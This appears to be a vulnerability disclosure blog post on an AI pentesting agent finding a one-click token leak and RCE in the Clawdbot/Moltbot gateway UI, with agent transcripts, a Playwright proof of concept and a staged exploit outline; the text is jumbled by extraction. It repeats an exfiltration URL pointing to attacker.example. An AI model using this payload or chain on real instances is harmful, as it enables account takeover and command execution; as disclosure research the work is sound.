
In the past few days, the AI community

has been taken back by a new AI

assistant that stands out due to its

native, seamless integration with an

enormous number of messaging

services.

The promise is simple: picture yourself

riding a motorcycle across South

America and stopping to read a new

Telegram message from your assistant

saying: “Hey, just finished your dream

website. Want me to do anything

else?”. One persistent assistant,

available anywhere, with the ability to

carry out real work directly on your

own machines. You can connect with

this agent at any time, anywhere, by a

plethora of different apps. That’s what

Clawdbot promises.

The possibilities are endless.

Which means.

The possibilities are endless.

Clawdbot (now Moltbot) is an open

source, self-hosted control plane for

running a personal assistant on your

infrastructure, but with the UX of “just

DM it like a friend.” The agent has

many capabilities and features,

integrations with many apps, and full

system access.
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With promises of performance and

overall social media hype, many people

rushed to deploy their own instance of

Clawdbot. And that's where things

started to go south. Tons of instances

running on public servers, ports wide

open, "temporary" configs that never

get changed, and control panels

accidentally turned into public

dashboards, and this was widely

discussed on X:
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This scratched our interest. And so we

thought: “Can an AI hack another AI

system? Can a hackbot hack

Clawdbot?”So we put Hackian, our AI

pentester, to the test. We deployed a

Clawdbot instance and launched it

against the URL, following black-box

approach.

The Vulnerability

Hackian was able to find a one-click

account takeover to remote code

execution (RCE) in approximately 1

hour and 40 minutes. A victim would

simply need to visit an attacker-

controlled website, which would leak

the authentication token from the

Gateway Control UI, which is enabled

by default, via a websocket channel

and then an arbitrary command will

run, even if the victim is hosting locally.

Here’s a first overview of the

vulnerability, allowing for account

takeover (ATO):

@theonejvo's article talking about Clawdbot's
security issues
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Keep in mind Hackian did this fully

autonomously. And the steps it took

are detailed below.

Recon

Hackian started off much like any

other security researcher would:

reconnaissance, reconnaissance and

more reconnaissance. From this, it was

able to pinpoint some interesting

exploration paths:

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian - Recon

╰─────────────────────

──────────────────────

───╯

╭─ 💬  Message 

──────────────────────
───────────────╮

I will parse the JavaScript source 

map to identify the WebSocket 

00:00 00:15

1.00
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The generated script successfully

extracted sourcesContent from the

leaked source map. By grepping for

specific protocol patterns, it identified

that the client manages states for a

WebSocket Gateway. Most

importantly, it located the logic for

buildToolStreamMessage, which

indicates the application is designed to

execute "tools" via the socket

connection.

protocol details: initialization, 

authentication/token handling, 

message types, and any origin 

checks or security controls. I'll 

search for code handling device 

identity, signing, and how the 

gateway authorizes clients.

╰─────────────────────

──────────────────────

──╯

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian - Recon

╰─────────────────────

──────────────────────

───╯

╭─ 💬  Message 

──────────────────────
───────────────╮

The analysis of the JavaScript 

source map revealed significant 

details about the application's 

WebSocket communication, 

authentication, and device 
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identity mechanisms:

*   **WebSocket Implementation**: 

The application uses a standard 

`WebSocket` client. Code snippets 

show instantiation with 

`new WebSocket(this.opts.url)`, 

event handlers (`ws.onopen`, 

`ws.onmessage`, `ws.onclose`), and 

message sending (

`this.ws.send(JSON.stringify(frame

))`

). Messages are expected to be 

JSON objects.

*   **WebSocket URL**: The 

`gatewayUrl` setting is explicitly 

defined, with a placeholder 

example `ws://100.x.y.z:18789` 

provided in the UI settings code, 

indicating a configurable 

WebSocket endpoint.

*   **Messaging Protocol**: The 

`send` and `onmessage` snippets 

confirm that JSON objects are sent 

and received over the WebSocket. A 

request frame format is evident: 

`{ type: "req", id, 

method, params }`

.

*   **Authentication Data**:

    *   `UiSettings` define a 

`token` and `sessionKey`, which 

are loaded from and saved to local 

storage.

    *   A `DeviceAuthEntry` type 

specifies 

`{ token: string; role: 

string; scopes: string[]; 

updatedAtMs: number; }`

.

    *   A `DeviceAuthStore` stores 

device-specific authentication 

details, including a `deviceId` 

and a 

`Record<string, DeviceAuthEntry>` 

for `tokens`.

    *   The `STORAGE_KEY` for 

device authentication is 

`clawdbot.device.auth.v1`, which 

is managed via 

`window.localStorage.getItem` and 

`window.localStorage.setItem`.

    *   Functions 

`loadDeviceAuthToken` and 

`storeDeviceAuthToken` are 
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available to manage these tokens 

based on `deviceId` and `role`.

*   **Device Identity**: The 

application integrates the 

`noble-ed25519` library for 

`ed25519 EdDSA signatures`. Code 

snippets show functionality for 

generating `secretKey` and 

`pubKey`, creating `signature`s, 

and `verifyAsync` operations. This 

indicates a strong cryptographic 

component for device 

identification and message 

signing.

*   **Gateway Service**: Multiple 

components (`ChatState`, 

`SessionsState`, `ConfigState`, 

`CronState`, `DebugState`, 

`LogsState`) import 

`GatewayBrowserClient`, suggesting 

a central "Gateway" service that 

the client interacts with over 

WebSockets. The UI also mentions 

"Gateway status," "Direct gateway 

chat session," "Gateway snapshots, 

events, and manual RPC calls," and 

"Live tail of the gateway file 

logs."

*   **Tool Stream Messaging**: The 

`proto` analysis reveals a 

`buildToolStreamMessage` function 

that structures messages with 

`type: "toolcall"` (containing 

`name` and `arguments`) and 

`type: "toolresult"` (containing 

`name` and `text` for output). 

This strongly suggests that the 

WebSocket protocol supports remote 

procedure calls or command 

execution, where the client can 

issue "tool calls" and receive 

their "results" via the WebSocket.

*   **Message Types**: No explicit 

`MessageType`, `GatewayMessage`, 

or `OpCode` enums were found in 

the sampled content, but the 

`proto` hits provide concrete 

message structures.

**Technical Observations:**

*   The application employs a 

sophisticated WebSocket-based 

communication model with a 
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After several rounds of recon work,

Hackian presented us with a neat

summary of the most interesting

quirks it identified:

"Gateway" backend.

*   Authentication involves both 

general `token`/`sessionKey` 

management and a more robust 

device-specific authentication (

`DeviceAuthEntry`, 

`DeviceAuthStore`) stored in 

`localStorage`.

*   The use of `noble-ed25519` for 

EdDSA signatures indicates that 

device identity and possibly 

message integrity/authenticity are 

cryptographically enforced. This 

suggests that forging device 

identities or messages might 

require valid cryptographic keys.

*   The `type: "toolcall"` and 

`type: "toolresult"` message 

structures are highly significant, 

implying that the WebSocket 

endpoint likely exposes an RPC-

like interface for executing 

commands or interacting with 

backend "tools." This is a 

potential attack surface for 

command injection or unauthorized 

function calls if not properly 

secured.

╰─────────────────────

──────────────────────

──╯

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian - Recon

╰─────────────────────

──────────────────────
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Clawd/Moltbot
in under 2
hours with
Hackian
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╭─ 💬  Message 
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 Target: 

https://clawdbot.ethiack.ninja 

(base path: /chat)

  High-level overview

  - Application type: Single Page 

Application (SPA) served behind 

Cloudflare. Many distinct paths 

return the same index HTML.

  - Primary surface:

    - Web UI at /chat

    - WebSocket gateway at 

wss://clawdbot.ethiack.ninja/ 

(observed active from UI and via a 

non-auth handshake test)

  - Frontend stack: Lit web 

components (reactive-element/lit-

element/lit-html). Bundled as a 

single index-*.js and index-*.css.

  - Source maps are publicly 

accessible, revealing original 

source module paths and client 

logic.

  Source map analysis (available 

at /assets/index-BCK1V83p.js.map)

  - Large, valid map (~0.98 MB), 

sources include:

    - ../../../ui/src/ui/* (e.g., 

app.ts, navigation.ts, gateway.ts, 

various views)

    - ../../../src/* (shared 

types, text utilities, etc.)

  - Technology indicators: Lit, 

Ed25519 crypto (noble-ed25519), 

GatewayBrowserClient class for 

WebSocket communication.

  - Notable client-side 

modules/functions:

    - ui/gateway.ts: 

GatewayBrowserClient manages 

WebSocket lifecycle, reconnect 

backoff, JSON protocol frames.

      - Frames: type "req" (id, 

method, params), type "res" (id, 

ok, payload|error), type "event" 

(event, payload), hello-ok 
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(protocol, features, snapshot, 

auth info).

      - Queueing and 

handleMessage(JSON.parse) present.

    - ui/app-settings.ts: 

applySettingsFromUrl reads 

URLSearchParams for token, 

password, session, gatewayUrl and 

applies to UI settings.

    - ui/storage.ts: localStorage 

key "clawdbot.control.settings.v1" 

for 

gatewayUrl/token/session/theme, 

etc.; default gateway URL 

constructed from current location 

(wss://host by default; docs 

mention insecure HTTP mode for 

dev).

    - Device identity/auth 

references: device identity 

generation/signing via Ed25519; 

device auth tokens persisted in 

localStorage (keys referenced 

include clawdbot.device.auth.v1).

    - Navigation: ui/navigation.ts 

defines tab-to-path mapping for 

client routes: /overview, 

/channels, /instances, /sessions, 

/cron, /skills, /nodes, /chat, 

/config, /debug, /logs.

  - Hardcoded/reference URLs found 

in sourcesContent include:

    - wss/gateway documentation 

and examples; a development 

example ws://100.x.y.z:18789 and 

http://127.0.0.1:18789

    - docs.clawd.bot endpoints and 

miscellaneous spec/document links

  Potential areas of interest for 

further testing

  - Public availability of the 

JavaScript source map reveals 

original source and protocol 

details; useful for deeper 

analysis of client-server 

interactions.

  - WebSocket gateway accepts 

Upgrade at / and responded 101 

even with a non-site Origin. 

Message-layer auth likely 

required; however, origin policy 

at handshake is permissive. 

Further testing would focus on 
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The investigation confirmed that the

application's security relies heavily on

client-side logic and message-layer

authentication. By exposing its source

maps and allowing cross-origin

WebSocket upgrades, the target has

provided all the necessary primitives

to attempt a session takeover or

unauthorized execution.

JavaScript source code
and websocket analysis

After an overall recon of the

application, Hackian decided to zero in

on the most promising areas of

exploration: JavaScript source code

handshake/hello requirements and 

any unauthenticated 

methods/events.

  - URL-based settings ingestion 

(token, password, gatewayUrl) via 

URLSearchParams by the UI. Post-

auth effects and storage behavior 

could be explored.

  - SPA catch-all responses for 

well-known and API-like paths; 

server routing specifics may hide 

API endpoints entirely behind the 

WebSocket.

  - Lack of explicit security 

headers (e.g., CSP/HSTS) on HTML 

responses. Not a vulnerability by 

itself, but relevant context for 

client-side attack surface if a 

separate injection were found.

╰─────────────────────

──────────────────────

──╯
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and WebSocket analysis. The objective

is simple: reconstruct the source code

and find functionalities that may not

require authentication.

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian 

╰─────────────────────

──────────────────────

───╯

╭─ 💬  Message 

──────────────────────
───────────────╮
 

I will perform deeper static 

analysis of the source map to 

extract the exact authentication 

flows and message shapes for 

token/password/session and device 

pairing, including any debug or 

bypass flags. This will allow us 

to craft precise, minimal 

WebSocket frames to test for 

unauthenticated access or auth 

bypass.
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──╯

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian 

╰─────────────────────

──────────────────────

───╯

╭─ 💬  Message 

──────────────────────
───────────────╮
 Success indicator for 
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authentication

- A successful connect returns 

res.ok = true with payload.type = 

"hello-ok".

- hello snapshot can include 

presence, health, and 

sessionDefaults. hello.auth may 

include deviceToken, role, scopes, 

issuedAtMs.

Methods and events (deduplicated 

literals found in sources)

- Methods used via request():

  - agents.list, 

agent.identity.get

  - node.list

  - models.list

  - config.get, config.set, 

config.apply, config.schema

  - cron.status, cron.list, 

cron.add, cron.update, 

cron.remove, cron.run, cron.runs

  - system-presence

  - logs.tail

  - chat.history, chat.send, 

chat.abort

  - sessions.list, sessions.patch, 

sessions.delete

  - device.pair.list, 

device.pair.approve, 

device.pair.reject

  - device.token.rotate, 

device.token.revoke

  - web.login.start, 

web.login.wait

  - status, health, last-

heartbeat, update.run

- Events handled by client:

  - agent, chat, presence, cron

  - device.pair.requested, 

device.pair.resolved

  - exec.approval.requested, 

exec.approval.resolved

  - Handshake: connect.challenge

URLSearchParams and LocalStorage 

keys (exact)

- URL params read (ui/src/ui/app-

settings.ts): token, password, 

session, gatewayUrl

- LocalStorage keys:

  - "clawdbot.control.settings.v1" 

(UI settings)

  - "clawdbot-device-identity-v1" 
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(device keypair)

  - "clawdbot.device.auth.v1" 

(role->token map per deviceId)

Live WebSocket handshake and safe 

probes (non-destructive)

- Cross-origin WS upgrade succeeds 

with a forged Origin:

  - Handshake result: HTTP/1.1 101 

Switching Protocols; Origin: 

https://attacker.example; no 

cookies involved.

- Server message-layer behavior 

observed:

  - On first message, server 

requires method "connect": any 

other first req returns { 

ok:false, error.code:"INVALID

_REQUEST", message:"invalid 

handshake: first request must be 

connect" } and closes code 1008.

  - Server sends event 

"connect.challenge" with 

payload.nonce (and ts).

  - connect with client.instanceId 

null/empty ⇒ INVALID_

REQUEST ("must be string"/"must 

NOT have fewer than 1 

characters"), close 1008.

  - connect with valid instanceId 

but no device/auth ⇒ NOT

_PAIRED "device identity 

required", close 1008.

  - connect with auth.token:"test" 

(no device) ⇒ INVALID_

REQUEST "unauthorized: gateway 

token mismatch/missing", close 

1008.

  - connect with auth.password 

only ⇒ INVALID

_REQUEST "gateway token 

missing", close 1008.

  - connect with malformed device 

proof ⇒ INVALID_

REQUEST "device identity 

mismatch", close 1008.
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gatewayUrl override and
token leakage

After the analysis of the source code

and WebSocket communications,

Hackian notices a curious behaviour:

URL parameters can be provided to

the application. One of them is the

WebSocket gateway URL. This is

where Hackian strikes gold:

  - role:"admin" claim ⇒ INVALID

_REQUEST "invalid 

role", close 1008.

Risks and observations

- Cross-origin WS: Upgrade accepts 

a non-site Origin header; however, 

app uses in-band auth (no 

cookies), making CSWSH less likely 

to impact this setup. Still, 

enforcing Origin or Sec-WebSocket-

Protocol would be defense-in-

depth.

- Token-only insecure mode: UI 

references server flag 

gateway.controlUi.allowInsecureAut

h for HTTP/insecure contexts, 

allowing token-only auth. If 

enabled in production, this 

reduces assurance of device-bound 

auth.

- No anonymous data: Pre-auth 

method calls fail, and connect 

requires instanceId and valid 

auth/proof. Invalid roles are 

rejected.
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╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian

╰─────────────────────

──────────────────────

───╯

╭─ 💬  Message 

──────────────────────
───────────────╮
 

The exposed frontend accepts a 

gatewayUrl parameter and persists 

a token in localStorage. 

Hypothesis: Visiting /chat with a 

crafted gatewayUrl will make the 

UI connect to an attacker-

controlled WebSocket and include 

the stored auth.token in the 

initial connect frame, enabling 

token exfiltration. To verify 

safely and within scope, I will 

instrument the page in a headless 

browser to stub WebSocket so no 

external connection occurs, 

preload localStorage with a test 

token, and capture the first frame 

the UI attempts to send. This 

confirms leakage without 

interacting with external hosts or 

modifying server state.

                                                  

╰─────────────────────

──────────────────────

──╯

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian

╰─────────────────────

──────────────────────

───╯
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╭───────────────────╮

│ 🔧  Tool Call

╰───────────────────╯

Name: python

...

def main():

    results = {}

    with sync_playwright() as p:

        browser = 

p.chromium.launch(headless=True)

        # Scenario 

1: baseline override

        s1 = run_scenario(

            p, browser,

            name="baseline",

            url=f"{BASE}/chat?

gatewayUrl=wss://attacker.example/

gw",

            settings={"token": 

"TEST_TOKEN_LEAK_123"}

        )

        # Compute token_included 

for baseline

        t1 = False

        try:

            ff = 

s1.get("first_frame") or {}

            params = 

ff.get("params") or {}

            auth = 

params.get("auth") or {}

            t1 = 

(auth.get("token") == 

"TEST_TOKEN_LEAK_123")

        except Exception:

            t1 = False

        s1["token_included"] = 

bool(t1)

        results["baseline"] = s1

...

╭───────────────────╮

│ 🔧  Tool Result

╰───────────────────╯
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    "success": true,

    "scenarios": {

      "baseline": {

        "scenario": "baseline",

        "url": 

"https://clawdbot.ethiack.ninja/ch

at?

gatewayUrl=wss://attacker.example/

gw",

        "ws_url": 

"wss://attacker.example/gw",

        "first_frame": {

          "type": "req",

          "id": "bab77677-d2b4-

4614-b0fc-b80dcb72cfa4",

          "method": "connect",

          "params": {

            "minProtocol": 3,

            "maxProtocol": 3,

            "client": {

              "id": "clawdbot-

control-ui",

              "version": "dev",

              "platform": "Linux 

x86_64",

              "mode": "webchat"

            },

            "role": "operator",

            "scopes": [

              "operator.admin",

              

"operator.approvals",

              "operator.pairing"

            ],

            "device": {

              "id": 

"1a14c4871254c63ba4d58d05b4912e12e

bbf4fc10416f10ac64774332f7a2ab3",

              "publicKey": 

"pCSWzG-

YaJm9rP28qBaB3Ch_gnyH81MQhJBsHgcjC

OY",

              "signature": 

"wGXeBBiy0eLQ4xvWxBxLVC8g9oj4WJwTH

t9XJXok05utVD8ThYGSRm_

w1wsYp32Vh0lvn9tBYyO4bv7WYCGPAg",

              "signedAt": 

1769439822575,

              "nonce": 

"STUB_NONCE"

            },

            "caps": [],

            "auth": {

              "token": 

"TEST_TOKEN_LEAK_123"

            },

            "userAgent": 

"Mozilla/5.0 (X11; Linux x86_64) 

AppleWebKit/537.36 (KHTML, like 

Gecko) 

HeadlessChrome/140.0.7339.16 
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Hackian noticed that setting the

gatewayUrl via the query parameters

of a GET request automatically

triggered a connection to said URL,

overriding the previous value. This

poses as a classic CSRF scenario as a

simple GET request affects directly

the data integrity of the Clawdbot

Gateway Dashboard. Furthermore,

Hackian noticed that the token that

was originally stored in the local

storage was instantly exfiltrated to the

newly set gatewayUrl, compromising

the confidentiality of the data saved in

the victim’s browser.

Safari/537.36",

            "locale": "en-

US@posix"

          }

        },

        "method": "connect",

        "token_included": true,

        "sensitive_fields": {

          "auth_password_present": 

false,

          "session_present": 

false,

          "session_key_present": 

false,

          

"device_publicKey_present": true

        },

        "raw_logs": {

          "urls": [

            {

              "url": 

"wss://attacker.example/gw",

              "protocols": null

            }

          ],

...
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After attaining a successful PoC of the

vulnerability, Hackian hands off the

potential finding to the Verifier, which

ensures that this is really exploitable.

When confirmation arrives, Hackian

reports the vulnerability:

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian 

╰─────────────────────

──────────────────────

───╯

╭─ 💬  Message 

──────────────────────
───────────────╮
 

PoC outcome: SUCCESS. The Control 

UI honored the gatewayUrl override 

and immediately sent the initial 

WebSocket “connect” frame to the 

attacker URL, including the stored 

token. 

                                                  

╰─────────────────────

──────────────────────

──╯

╭─────────────────────

──────────────────────

───╮

│ 🤖  Hackian

╰─────────────────────

──────────────────────

───╯

╭───────────────────╮

│ 🔧  Tool Call

╰───────────────────╯
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Name: report-vulnerability

"The Control UI honors the 

gatewayUrl query parameter and 

immediately opens a WebSocket to 

that URL, sending its initial 

"connect" frame that includes any 

stored auth token. This allows an 

attacker to exfiltrate the 

victim's gateway token by luring 

them to a crafted URL such as 

/chat?

gatewayUrl=wss://attacker.example/

gw. A safe in-page WebSocket stub 

PoC confirms the UI both honors 

the override and includes the 

token and device publicKey in the 

first frame without contacting any 

external host.

Baseline PoC capture (no external 

network; WebSocket stub):

    Captured WebSocket 

constructor URL:

    "wss://attacker.example/gw"
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    First sent frame (prettified):

    {

      "type": "req",

      "id": "bab77677-d2b4-4614-

b0fc-b80dcb72cfa4",

      "method": "connect",

      "params": {

        "minProtocol": 3,

        "maxProtocol": 3,

        "client": {"id":"clawdbot-

control-

ui","version":"dev","platform":"Li

nux x86_64","mode":"webchat"},

        "role": "operator",

        "scopes": 

["operator.admin","operator.approv

als","operator.pairing"],

        "device": {

          "id": 

"1a14c4871254c63ba4d58d05b4912e12e

bbf4fc10416f10ac64774332f7a2ab3",

          "publicKey": "pCSWzG-

YaJm9rP28qBaB3Ch_gnyH81MQhJBsHgcjC

OY",

          "signature": 

"wGXeBBiy0eLQ4xvWxBxLVC8g9oj4WJwTH

t9XJXok05utVD8ThYGSRm_

w1wsYp32Vh0lvn9tBYyO4bv7WYCGPAg",

          "signedAt": 

1769439822575,

          "nonce": "STUB_NONCE"

        },

        "caps": [],

        "auth": {"token": 

"TEST_TOKEN_LEAK_123"},

        "userAgent": "Mozilla/5.0 

(X11; Linux x86_64) 

AppleWebKit/537.36 (KHTML, like 

Gecko) 

HeadlessChrome/140.0.7339.16 

Safari/537.36",

        "locale": "en-US@posix"

      }

    }
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Pwning local instances

Pwning remote Clawdbot instances is

cool but most people are actually

deploying Clawdbot Gateway locally.

    WebSocket override 

stub used (excerpt):

    ```

    class WSStub {

      constructor(url, protocols){

        

window.__wsCapture.push({url, 

protocols});

        setTimeout(()=>{ 

this.readyState=1; const e=new 

Event('open'); 

this.onopen&&this.onopen(e);

          setTimeout(()=>{ const 

msg=

{type:'event',event:'connect.chall

enge',payload:

{nonce:'STUB_NONCE',ts:Date.now()}

};

            const mevt=new 

MessageEvent('message',

{data:JSON.stringify(msg)});

            

this.onmessage&&this.onmessage(mev

t);

          },10);

        },0);

      }

      send(data){ 

window.__wsSent.push(data); }

    }

    window.WebSocket = WSStub;

    ```

An attacker can phish an operator 

into visiting /chat?

gatewayUrl=wss://attacker.example/

gw, causing the Control UI to 

connect to the attacker-controlled 

endpoint and include the stored 

auth token in its first WebSocket 

frame. This leaks credentials and 

device identity material to the 

attacker, enabling potential 

unauthorized access or privilege 

escalation depending on server-

side token usage and scope."
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This greatly reduces the attack

surface but since we do have a 1-click

exploit that targets an exposed

gateway via the victim’s browser, does

it really need to be exposed publicly?

Well, the short answer is no, it does

not. The long answer is that we found

a way to turn the victim’s browser into

being our own exploit assistant so that

we can pivot into the victim’s local

network the easy way around.

In normal HTTP requests CORS exists

to forbid browsers from

communicating with origins that do

not explicitly allow for incoming

requests and most importantly to read

outgoing responses. However, Hackian

discovered that the main API is not

built on top of HTTP but instead it

communicates over WebSockets.

There is no mechanism similar to

CORS for WebSockets and the

Clawdbot gateway server fails to

validate the origin of the WebSockets

connection.

As of the writing of this blog post, the

current stable build of Google Chrome

is v144 and does not ship with the

Local Network Access flag enabled by

default which means that our exploit

does not need to prompt for this

permission (but this may change

soon).

If we start joining the pieces of the

puzzle, the path that we will follow to

build such exploit becomes trivially
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simple: we have a way to leak the

gateway token, we can reach the

localhost interface via browser issued

WebSockets requests and there are no

special permissions that need to be

set in order to do so. Sweet!

Let me walk you through the exploit

then:

First off we need to set up a

WebSockets server that will listen

for incoming requests and save

the Clawdbot gateway token to be

served on the later stages of our

exploit

Then we will serve the first stage

of our exploit which will consist of

a page that will open a window to

the second stage of the exploit

and redirect the current window to

the Clawdbot Gateway Dashboard

setting the gatewayUrl parameter

pointing to the exploit server

triggering the vulnerability and

leaking the token to the

WebSockets server set up in step

1.

During the second stage of the

exploit we will fetch the token

from the attacker server and

implement the signature

algorithms to validate the token

against the Gateway server,

allowing us to open a session.

Finally, we are ready to send a

message to the Clawdbot agents

and ask them politely to run our

commands, allowing full
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Implementation details and the full

exploit source code are available here.

Running the exploit should look

something like this:

Patch

This has been patched in commit

8cb0fa9. Please update now.

Thanks @tyler6204 for analyzing our

pull request with the fix.

Timeline

exfiltration of the results to the

attacker-controlled server.

January 26: 1:21 PM UTC -

Hackbot starts pentesting a live

Clawdbot gateway instance

January 26: 3:05 PM UTC -

Hackian confirms the vulnerability

January 26: 6:02 PM UTC -

Vulnerability reported to Clawdbot

maintainers 🦞

00:00 00:23

1.00
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Final remarks

I think we can all agree technology is

moving faster than ever. It’s not yet

been 20 years since the first iPhone,

and we’re talking about installing

brain-computer interfaces and

creating AI systems built on the “entire

knowledge of humanity”.

This ultra-fast speed is often used as a

justification for throwing caution out

of the window. We believe that instead

of lamenting the new rhythm, we

should focus on building security tools

that can keep up with the pace. When

AI builds faster than ever, AI should

test more than ever.

In under 2 hours, Hackian found a 1-

click account takeover to RCE, in a

product that is being mass adopted by

AI enthusiasts all over. This time, we

were the ones that found it, reported

it, and prevented harm to come to

trusting users. But make no mistake. AI

is here for everyone, not just the good

guys. This is not a new story, and

certainly won’t be the last. But maybe,

by leveraging AI to perform ethical

hacking, we might begin to close the

gap that widens everyday. At least,

January 27: 5:12 PM UTC -

Opened pull request as requested

January 28: 9:32 PM UTC - Fixed

in main branch
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that’s what we hope for, and work for,

everyday.

Stay safe,

Henrique Branquinho

Bruno Mendes

André Baptista
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